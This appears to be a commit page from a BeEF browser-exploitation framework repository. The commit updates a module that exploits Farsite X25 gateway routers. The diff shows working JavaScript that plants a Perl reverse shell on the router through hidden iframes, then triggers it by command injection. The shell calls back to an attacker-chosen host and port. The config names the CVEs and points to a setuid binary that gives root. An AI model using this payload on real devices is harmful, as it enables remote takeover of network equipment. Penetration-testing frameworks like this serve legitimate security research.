Hiddenden/beef
2
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Update PR #1301

Browse Source
This commit is contained in:
Brendan Coles
2016-10-07 05:20:49 +00:00
parent d47c69abb3
commit fbac8cd55a
2 changed files with 2 additions and 8 deletions
Download Patch File Download Diff File Expand all files Collapse all files

8
modules/exploits/farsite_x25_remote_shell/command.js
View File

@@ -6,22 +6,16 @@ beef.execute(function() {
var lhost = '<%= @lhost %>';
var lport = '<%= @lport %>';
writefile = function() {
var revshell='use+IO;$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}';
revshell = revshell + '$c=new IO::Socket::INET(PeerAddr,"' + lhost + ':' + lport +'");';
revshell = revshell + 'STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};';
//var x25_write_iframe_<%= @command_id %>= beef.dom.createInvisibleIframe();
var x25w_<%= @command_id %>= beef.dom.createInvisibleIframe();
var uri = scheme + '://' + rhost + "/fsSaveUIPersistence.php?strSubmitData=" + revshell;
//About to hit uri
x25w_<%= @command_id %>.setAttribute('src', uri);
};
validate = function() {
};
exploit = function() {
//Command injecting on the router
var x25e_<%= @command_id %> = beef.dom.createInvisibleIframe();
@@ -31,7 +25,7 @@ beef.execute(function() {
try {
writefile();
setTimeout(exploit,3000);
setTimeout(exploit,5000);
} catch (e) {
beef.debug(peer + " - Exploit failed: " + e.message);
}

2
modules/exploits/farsite_x25_remote_shell/config.yaml
View File

@@ -5,7 +5,7 @@ beef:
enable: true
category: "Exploits"
name: "Farsite X25 gateway remote code execution"
description: "This module exploits CVE-2014- to write a payload to the router and CVE-2014- to execute it. Once you have shell you can use the setuid /http/bin/execCmd to execute commands as root."
description: "This module exploits CVE-2014-7175 to write a payload to the router and CVE-2014-7173 to execute it. Once you have shell you can use the setuid /http/bin/execCmd to execute commands as root."
authors: ["Wireghoul"]
target:
working: ["All"]